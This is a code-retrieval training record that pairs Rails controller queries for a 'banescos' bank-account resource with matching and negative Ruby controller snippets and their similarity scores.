[ "0.6657559", "0.6314533", "0.60601854", "0.6057587", "0.5850558", "0.5818033", "0.5816518", "0.5758425", "0.5694075", "0.5679501", "0.5672662", "0.56647146", "0.56630784", "0.56569636", "0.555139", "0.55461514", "0.55458695", "0.55357844", "0.5534469", "0.5509628", "0.54971844", "0.5495658", "0.54926646", "0.54814905", "0.54785043", "0.5475369", "0.5447676", "0.5411155", "0.5392835", "0.5385309", "0.5352527", "0.5351378", "0.53473055", "0.5336195", "0.5325988", "0.5304345", "0.5303659", "0.530155", "0.52945745", "0.5271568", "0.5270047", "0.5269332", "0.5264809", "0.5245006", "0.5242124", "0.5234913", "0.5223068", "0.5221283", "0.5214553", "0.5211675", "0.51858145", "0.5181756", "0.5169686", "0.5163658", "0.51533747", "0.5147924", "0.5140562", "0.5130314", "0.512282", "0.51222545", "0.5099666", "0.5097356", "0.50955504", "0.50874096", "0.5085794", "0.5068514", "0.50667155", "0.50631773", "0.50631016", "0.505941", "0.50571877", "0.50561243", "0.5055789", "0.5054741", "0.50540286", "0.50446963", "0.50421566", "0.50421566", "0.5037924", "0.50376326", "0.5035682", "0.50340617", "0.5022153", "0.50184774", "0.5011923", "0.50058454", "0.5001883", "0.4999267", "0.4995032", "0.49935427", "0.49902394", "0.49898583", "0.4986402", "0.49811628", "0.49739495", "0.49727702", "0.496125", "0.49563527", "0.49500075", "0.49468794" ]
0.67748797
0
GET /banescos GET /banescos.json
def index @pools = Banesco.all @new_pool = Banesco.new @new_pool.date_of = Date.today @cierre = Cierre.new @cierre.account = "Banesco" render 'layouts/_cuentas_index' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @bancos = Banco.all\n end", "def index\n #Busca Banco\n @bancos = Banco.where(nil) #Inicia Escopo\n @bancos = @bancos.codigo(params[:codigo]) if params[:codigo].present?\n @bancos = @bancos.descricao(params[:descricao]) if params[:descricao].present?\n #End Busca Banco\n \n @bancos = @bancos.paginate(:page => params[:page], :per_page => params[:per_page])\n respond_to do |format|\n format.html { render :index }\n format.json { render json:{ bancos: @bancos, total: @bancos.total_entries } }\n end\n end", "def index\n @compte_bancaires = CompteBancaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@compte_bancaires }\n end\n end", "def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend", "def index\n @bill_cargos = @bill.bill_cargos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bill_cargos }\n end\n end", "def index\n @brags = Brag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brags }\n end\n end", "def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end", "def index\n @cabines = Cabine.all\n render json: @cabines\n end", "def index\n @socio_dados_bancos = SocioDadosBanco.all\n end", "def index\n @balloons = Balloon.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded balloons', data:@balloons},status: :ok\n end", "def index\r\n @sivic_bancos = SivicBanco.all\r\n end", "def index\n @bonificaciones = Bonificacion.all\n end", "def index\n @bitacoras = Bitacora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bitacoras }\n end\n end", "def index\n @bonificacions = Bonificacion.all\n end", "def show\n @bloque = Bloque.find(params[:id])\n\n render json: @bloque\n end", "def index\n @bancos = Banco.paginate(:page => params[:page], :per_page => per_page)\n .order(sort_column + \" \" + sort_direction)\n end", "def set_banesco\n @banesco = Banesco.find(params[:id])\n end", "def show\n @bico = Bico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bico }\n end\n end", "def show\n @caballo = Caballo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caballo }\n end\n end", "def show\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json {render json: @boat}\n end\n end", "def show\n @bordado = Bordado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bordado }\n end\n end", "def show\n @bb = Bb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bb }\n end\n end", "def index\n render json: Bill.all\n end", "def index\n @boks = Bok.all\n end", "def index\n @bot_bingo_numbers = BotBingoNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n # frommat.json { render json: @bot_bingo_numbers }\n end\n end", "def index\n @banks = Bank.all\n render json: @banks\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def index\n response = RestClient.get 'http://api.bitvalor.com/v1/order_book.json'\n data = JSON.parse(response.body)[\"bids\"]\n @fox = data.select {|element| element[0] == \"FOX\"}\n @b2u = data.select {|element| element[0] == \"B2U\"}\n @mbt = data.select {|element| element[0] == \"MBT\"}\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def show\n @compte_bancaire = CompteBancaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json :@compte_bancaire }\n end\n end", "def show\n @borad = Borad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @borad }\n end\n end", "def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end", "def index\n @bocconis = Bocconi.all\n end", "def get_banks\n HTTParty.get(BASE_URI + 'bank?country=ghana',\n headers: HEADERS).parsed_response\n end", "def index\n @contas = Conta.where(nil) #Inicia Escopo\n @contas = @contas.conta_numero(params[:contaNumero]) if params[:contaNumero].present?\n @contas = @contas.conta_descricao(params[:contaDescricao]) if params[:contaDescricao].present?\n @contas = @contas.agencia_numero(params[:agenciaNumero]) if params[:agenciaNumero].present?\n @contas = @contas.banco_id(params[:bancoId]) if params[:bancoId].present?\n\n @contas = @contas.paginate(:page => params[:page], :per_page => params[:per_page])\n respond_to do |format|\n format.html { render :index }\n format.json { render json: {contas: @contas.as_json(:include => [:banco], methods: [:conta, :agencia, :saldo]), total: @contas.total_entries}}\n end\n end", "def index\n @barrios = Barrio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @barrios }\n end\n end", "def index\n @banners = Banner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @banners }\n end\n end", "def index\n if params[:title]\n @boats = Boat.where title: params[:title]\n else\n if params[:open_seats]\n @boats = Boat.where open_seats: params[:open_seats]\n else\n @boats = Boat.all\n end\n end\n render json: @boats\n end", "def index\n @brodos = Brodo.all\n end", "def index\n @banners = Banner.where('active =?', true).order(:display_order)\n\n render json: @banners\n end", "def index\n @cobrancas = Cobranca.all\n end", "def show\n @banana = Banana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @banana }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill_cargo }\n end\n end", "def index\n @cadavres = Cadavre.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cadavres }\n end\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def index\n @acoes = Acao.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acoes }\n end\n end", "def index\n @boats = Boat.all\n end", "def index\n @boats = Boat.all\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def gabarra\n respond_to do |format|\n begin\n @gabarra = DescargaBauxita.descargar(params)\n format.json { render :json => @gabarra }\n rescue Exceptions::PresenciaValoresExcepcion => errores\n format.json { render :json => errores.errors, :status => 400 }\n end\n end\n end", "def index\n @bills = Bill.all_cached\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def getbalance(args={})\n {\n :method=> \"GetBalances\"\n }.to_json\n end", "def index\n @commits = Commits.all(params[:branche_id])\n\n respond_to do |format|\n format.json { render json: @commits, status: 200 }\n end\n end", "def index\n @cocktails = Cocktail.where(\"oficial = ?\", false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cocktails }\n end\n end", "def show\n @palabras_buscar = PalabrasBuscar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @palabras_buscar }\n end\n end", "def index\n @bentos = Bento.all\n end", "def index\n @gastos_balanceados = GastosBalanceado.all\n end", "def index\n @baskets = Basket.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @baskets }\n end\n end", "def bonuses(count = 10)\n params = { command: 'account_bonuses', count: count }\n get('/json.php', params)\n end", "def index\n\n @debtors = Debtor.all\n\n render json: @debtors\n end", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def show\n @bitacora = Bitacora.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bitacora }\n end\n end", "def index\n @brochures = Brochure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brochures }\n end\n end", "def index\n @boredoms = Boredom.all\n end", "def show\n @registro_bovino = RegistroBovino.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @registro_bovino }\n end\n end", "def create\n @banco = Banco.new(banco_params)\n\n respond_to do |format|\n if @banco.save\n format.html { redirect_to @banco, notice: 'Banco fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @banco }\n else\n format.html { render :new }\n format.json { render json: @banco.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @palabra_bolsas = PalabraBolsa.all\n end", "def show\n @blacklist = Blacklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blacklist }\n end\n end", "def show\n @climb = Climb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @climb }\n end\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end", "def index\n #@boats = Boat.order(sort_column + ' ' + sort_direction)\n # @boats = Boat.all\n # if params[:search]\n @boats = Boat.search(params[:search])\n # else\n # @boats = Boat.order(sort_column + ' ' + sort_direction)\n # end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @boats }\n end\n end", "def index\n @bobs = Bob.paginate(:page => params[:page], :order => 'created_at DESC',:per_page => 30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bobs }\n end\n end", "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end", "def index\n @businesses = Business.all.offset(offset).limit(limit)\n render json: @businesses\n end", "def show\n @bili = Bili.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bili }\n end\n end", "def show\n @bill = Bill.find(params[:id])\n\n render json: @bill\n end", "def index\n @obras = Obra.all\n end", "def show\n @black_list = BlackList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @black_list }\n end\n end", "def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "def index\n @shop_section = ShopSection.find_by_short_url(\"brands\")\n @brands = Brand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brands }\n end\n end", "def index\n @bank_accounts = BankAccount.all\n render :json => @bank_accounts.to_json\n end", "def show\n @bruschettum = Bruschettum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bruschettum }\n end\n end", "def banks_get(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: BanksApi#banks_get ...\"\n end\n \n # resource path\n path = \"/banks\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['khipu']\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BanksResponse')\n if Configuration.debugging\n Configuration.logger.debug \"API called: BanksApi#banks_get. Result: #{result.inspect}\"\n end\n return result\n end", "def index\n @bloqueos = Bloqueo.all\n end", "def balances(id)\n get(\"/accounts/#{id}/balances\")\n end", "def index\n @bids = Bid.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bids }\n end\n end", "def show\n @ban = Ban.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ban }\n end\n end", "def index\n @acuerdos = Acuerdo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @acuerdos }\n end\n end", "def index\n @bingos = Bingo.all\n end", "def index\n @bill_quorums = BillQuorum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bill_quorums }\n end\n end", "def index\n @coh_bcodes = CohBcode.all\n end", "def index\n @bids = Bid.where(\"auction_id = ?\", params[:auction_id])\n\n render json: @bids\n end", "def index\n @user_businesses = Business.where({user_id: current_user.id})\n render json: JSONAPI::Serializer.serialize(@user_businesses, is_collection: true)\n end", "def index\n @banks = Bank.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @banks }\n end\n end", "def show\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bcard }\n end\n end", "def show\n @caballoxcarerra = Caballoxcarerra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caballoxcarerra }\n end\n end", "def index\n @producto_bodegas = ProductoBodega.all\n end", "def show\n @bizcard = Bizcard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bizcard }\n end\n end", "def index\n @breeds = Breed.all\n\n render json: @breeds\n end" ]
[ "0.73021615", "0.72636193", "0.68603635", "0.677008", "0.67218727", "0.668826", "0.6554973", "0.65174794", "0.6503707", "0.6440454", "0.6428013", "0.63916284", "0.6367049", "0.6357187", "0.63398516", "0.6300535", "0.62667626", "0.6262769", "0.6256097", "0.62176734", "0.6204914", "0.62035686", "0.6201155", "0.6194872", "0.6184915", "0.6183672", "0.6160936", "0.6144013", "0.61387366", "0.61369824", "0.6135201", "0.6113395", "0.6110607", "0.6103066", "0.6082078", "0.60688317", "0.60618824", "0.60527754", "0.60372937", "0.6021499", "0.6019065", "0.60187256", "0.6010134", "0.6009702", "0.5999411", "0.5999411", "0.5999411", "0.5992327", "0.5985963", "0.5985963", "0.59817046", "0.59777725", "0.59706295", "0.5966667", "0.5966434", "0.59564644", "0.5946258", "0.5943941", "0.594363", "0.5940904", "0.5932318", "0.5922188", "0.59164774", "0.59079236", "0.5900714", "0.5897294", "0.589666", "0.58812934", "0.5876176", "0.5875095", "0.58679324", "0.58656955", "0.58581233", "0.5853996", "0.58433074", "0.58370095", "0.58337367", "0.5831316", "0.58277255", "0.5809667", "0.5807958", "0.5805174", "0.579928", "0.5798767", "0.5797727", "0.5795124", "0.5792814", "0.5789823", "0.5782201", "0.57810205", "0.5774508", "0.57723963", "0.5772033", "0.57630014", "0.5762876", "0.576078", "0.57606566", "0.57590765", "0.5757464", "0.57547855", "0.5746876" ]
0.0
-1
GET /banescos/1 GET /banescos/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @bancos = Banco.all\n end", "def index\n #Busca Banco\n @bancos = Banco.where(nil) #Inicia Escopo\n @bancos = @bancos.codigo(params[:codigo]) if params[:codigo].present?\n @bancos = @bancos.descricao(params[:descricao]) if params[:descricao].present?\n #End Busca Banco\n \n @bancos = @bancos.paginate(:page => params[:page], :per_page => params[:per_page])\n respond_to do |format|\n format.html { render :index }\n format.json { render json:{ bancos: @bancos, total: @bancos.total_entries } }\n end\n end", "def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end", "def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend", "def index\n @bill_cargos = @bill.bill_cargos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bill_cargos }\n end\n end", "def index\n @compte_bancaires = CompteBancaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@compte_bancaires }\n end\n end", "def index\n @brags = Brag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brags }\n end\n end", "def show\n @bloque = Bloque.find(params[:id])\n\n render json: @bloque\n end", "def show\n @bico = Bico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bico }\n end\n end", "def show\n @boat = Boat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json {render json: @boat}\n end\n end", "def set_banesco\n @banesco = Banesco.find(params[:id])\n end", "def show\n @bb = Bb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bb }\n end\n end", "def show\n @caballo = Caballo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caballo }\n end\n end", "def index\n @balloons = Balloon.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded balloons', data:@balloons},status: :ok\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def show\n @borad = Borad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @borad }\n end\n end", "def set_banco\n @banco = Banco.find(params[:id])\n end", "def show\n @bordado = Bordado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bordado }\n end\n end", "def index\r\n @sivic_bancos = SivicBanco.all\r\n end", "def index\n @bonificacions = Bonificacion.all\n end", "def index\n @cabines = Cabine.all\n render json: @cabines\n end", "def show\n @compte_bancaire = CompteBancaire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json :@compte_bancaire }\n end\n end", "def show\n @climb = Climb.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @climb }\n end\n end", "def index\n @bitacoras = Bitacora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bitacoras }\n end\n end", "def show\n @bili = Bili.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bili }\n end\n end", "def index\n @bonificaciones = Bonificacion.all\n end", "def show\n @banana = Banana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @banana }\n end\n end", "def show\n @bill = Bill.find(params[:id])\n\n render json: @bill\n end", "def show\n @bitacora = Bitacora.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bitacora }\n end\n end", "def index\n render json: Bill.all\n end", "def show\n @bruschettum = Bruschettum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bruschettum }\n end\n end", "def index\n @socio_dados_bancos = SocioDadosBanco.all\n end", "def index\n @boks = Bok.all\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill_cargo }\n end\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def show\n @registro_bovino = RegistroBovino.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @registro_bovino }\n end\n end", "def index\n @banks = Bank.all\n render json: @banks\n end", "def index\n @bot_bingo_numbers = BotBingoNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n # frommat.json { render json: @bot_bingo_numbers }\n end\n end", "def index\n @bancos = Banco.paginate(:page => params[:page], :per_page => per_page)\n .order(sort_column + \" \" + sort_direction)\n end", "def index\n @banners = Banner.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @banners }\n end\n end", "def show\n @ban = Ban.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ban }\n end\n end", "def show\n @palabras_buscar = PalabrasBuscar.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @palabras_buscar }\n end\n end", "def index\n response = RestClient.get 'http://api.bitvalor.com/v1/order_book.json'\n data = JSON.parse(response.body)[\"bids\"]\n @fox = data.select {|element| element[0] == \"FOX\"}\n @b2u = data.select {|element| element[0] == \"B2U\"}\n @mbt = data.select {|element| element[0] == \"MBT\"}\n end", "def index\n @bocconis = Bocconi.all\n end", "def show\n @bcard = Bcard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bcard }\n end\n end", "def show\n @bizcard = Bizcard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bizcard }\n end\n end", "def index\n if params[:title]\n @boats = Boat.where title: params[:title]\n else\n if params[:open_seats]\n @boats = Boat.where open_seats: params[:open_seats]\n else\n @boats = Boat.all\n end\n end\n render json: @boats\n end", "def show\n @blacklist = Blacklist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @blacklist }\n end\n end", "def show\n @baton = Baton.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @baton }\n end\n end", "def bonuses(count = 10)\n params = { command: 'account_bonuses', count: count }\n get('/json.php', params)\n end", "def show\n @boleto = Boleto.find(params[:id])\n\n end", "def index\n @banners = Banner.where('active =?', true).order(:display_order)\n\n render json: @banners\n end", "def index\n @bills = Bill.all_cached\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def index\n @boats = Boat.all\n end", "def index\n @boats = Boat.all\n end", "def index\n @commits = Commits.all(params[:branche_id])\n\n respond_to do |format|\n format.json { render json: @commits, status: 200 }\n end\n end", "def index\n @cocktails = Cocktail.where(\"oficial = ?\", false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cocktails }\n end\n end", "def show\n @bidding = Bidding.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bidding }\n end\n end", "def show\n @brag = Brag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brag }\n end\n end", "def show\n @black_list = BlackList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @black_list }\n end\n end", "def show\n @bet = Bet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bet }\n end\n end", "def show\n @bilhete = Bilhete.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bilhete }\n end\n end", "def index\n @brodos = Brodo.all\n end", "def show\n @barrio = Barrio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @barrio }\n end\n end", "def show\n @bahan = Bahan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bahan }\n end\n end", "def show\n @borc = Borc.where(:UyeId => current_user.uid).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @borc }\n end\n end", "def index\n @barrios = Barrio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @barrios }\n end\n end", "def index\n @bids = Bid.where(\"auction_id = ?\", params[:auction_id])\n\n render json: @bids\n end", "def show\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill }\n end\n end", "def show\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bill }\n end\n end", "def create\n @banco = Banco.new(banco_params)\n\n respond_to do |format|\n if @banco.save\n format.html { redirect_to @banco, notice: 'Banco fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @banco }\n else\n format.html { render :new }\n format.json { render json: @banco.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @brochures = Brochure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brochures }\n end\n end", "def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end", "def index\n @boredoms = Boredom.all\n end", "def show\n @osoba = Osoba.find(params[:id])\n\n render json: @osoba\n end", "def show\n @caballoxcarerra = Caballoxcarerra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caballoxcarerra }\n end\n end", "def show\n @buchung = Buchung.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @buchung }\n end\n end", "def show\n @barrio = Barrio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @barrio }\n end\n end", "def show\n @title = t('view.banks.show_title')\n @bank = Bank.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bank }\n end\n end", "def show\n @bp = Bp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bp }\n end\n end", "def getbalance(args={})\n {\n :method=> \"GetBalances\"\n }.to_json\n end", "def index\n @baskets = Basket.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @baskets }\n end\n end", "def show\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @consumo }\n end\n end", "def show\n @sabio = Sabio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sabio }\n end\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end", "def show\n @bill = Bill.find(params[:id])\n\t respond_to do |format|\n format.json { render json: @bill}\n format.html \n end\n end", "def get_banks\n HTTParty.get(BASE_URI + 'bank?country=ghana',\n headers: HEADERS).parsed_response\n end", "def show\n @bank = Bank.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bank }\n end\n end", "def show\n @baggage = Baggage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @baggage }\n end\n end", "def index\n @bids = Bid.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bids }\n end\n end", "def show\n @brother = Brother.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brother }\n end\n end", "def index\n @bentos = Bento.all\n end", "def index\n @bobs = Bob.paginate(:page => params[:page], :order => 'created_at DESC',:per_page => 30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bobs }\n end\n end", "def show\n @bill = Bill.find(params[:id])\n\n respond_to do |format|\t\t\n format.html # show.html.erb\n format.json { render json: @bill }\n end\n end", "def show\n @b = B.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @b }\n end\n end", "def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "def show\n @breadcrumb = 'read'\n @bank = Bank.find(params[:id])\n @bank_offices = @bank.bank_offices.order(\"code\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bank }\n end\n end", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end" ]
[ "0.71681106", "0.69848055", "0.6895911", "0.67301", "0.6684483", "0.66709566", "0.6646924", "0.66086847", "0.6579848", "0.6533553", "0.6519906", "0.6478248", "0.6443591", "0.64182836", "0.639403", "0.639403", "0.639403", "0.63927794", "0.6358207", "0.63579464", "0.63331276", "0.6311804", "0.6310771", "0.6300142", "0.6300074", "0.6289762", "0.62874275", "0.62771475", "0.626205", "0.62374765", "0.6231528", "0.6218609", "0.61793584", "0.6178353", "0.6177038", "0.61674297", "0.61564875", "0.61405116", "0.61394393", "0.6135913", "0.6129609", "0.61115366", "0.6099575", "0.60962355", "0.6071601", "0.60707843", "0.6055614", "0.60439557", "0.60390675", "0.6038598", "0.6037595", "0.6036425", "0.6026767", "0.6022331", "0.6018819", "0.6015336", "0.6011245", "0.6011245", "0.5987999", "0.59876776", "0.5986914", "0.5974684", "0.5973658", "0.59720755", "0.5966725", "0.5965247", "0.5958731", "0.5956988", "0.5956695", "0.5947473", "0.59464025", "0.59445643", "0.59445643", "0.5936451", "0.5929786", "0.5925252", "0.5924946", "0.5923991", "0.5921864", "0.5915342", "0.59090406", "0.590548", "0.5902653", "0.5892116", "0.5891229", "0.589051", "0.5889896", "0.58892775", "0.58820015", "0.5872149", "0.58654666", "0.5858117", "0.5857708", "0.58568466", "0.5856644", "0.58527744", "0.58516484", "0.58515584", "0.5850993", "0.5850836", "0.5848494" ]
0.0
-1
POST /banescos POST /banescos.json
def create @banesco = Banesco.new(banesco_params) # ask_for_permission(@banesco, 'create_banesco') and return if current_user.cannot 'create_banesco' # Calculate balance and save last_banesco = Banesco.last (last_banesco.nil? or last_banesco.balance.nil?) ? @banesco.balance = @banesco.monto : @banesco.balance = last_banesco.balance + @banesco.monto # # Calculate balance and save# Extract category, if given category = params[:banesco][:category] unless category.nil? @banesco.category_type, @banesco.category_id = category.split(':') end # respond_to do |format| if @banesco.save format.html { redirect_to banescos_url, notice: @banesco.table_name_to_show.concat(' fue creada satisfactoriamente.') } format.json { render :show, status: :created, location: @banesco } else format.html { render :new } format.json { render json: @banesco.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
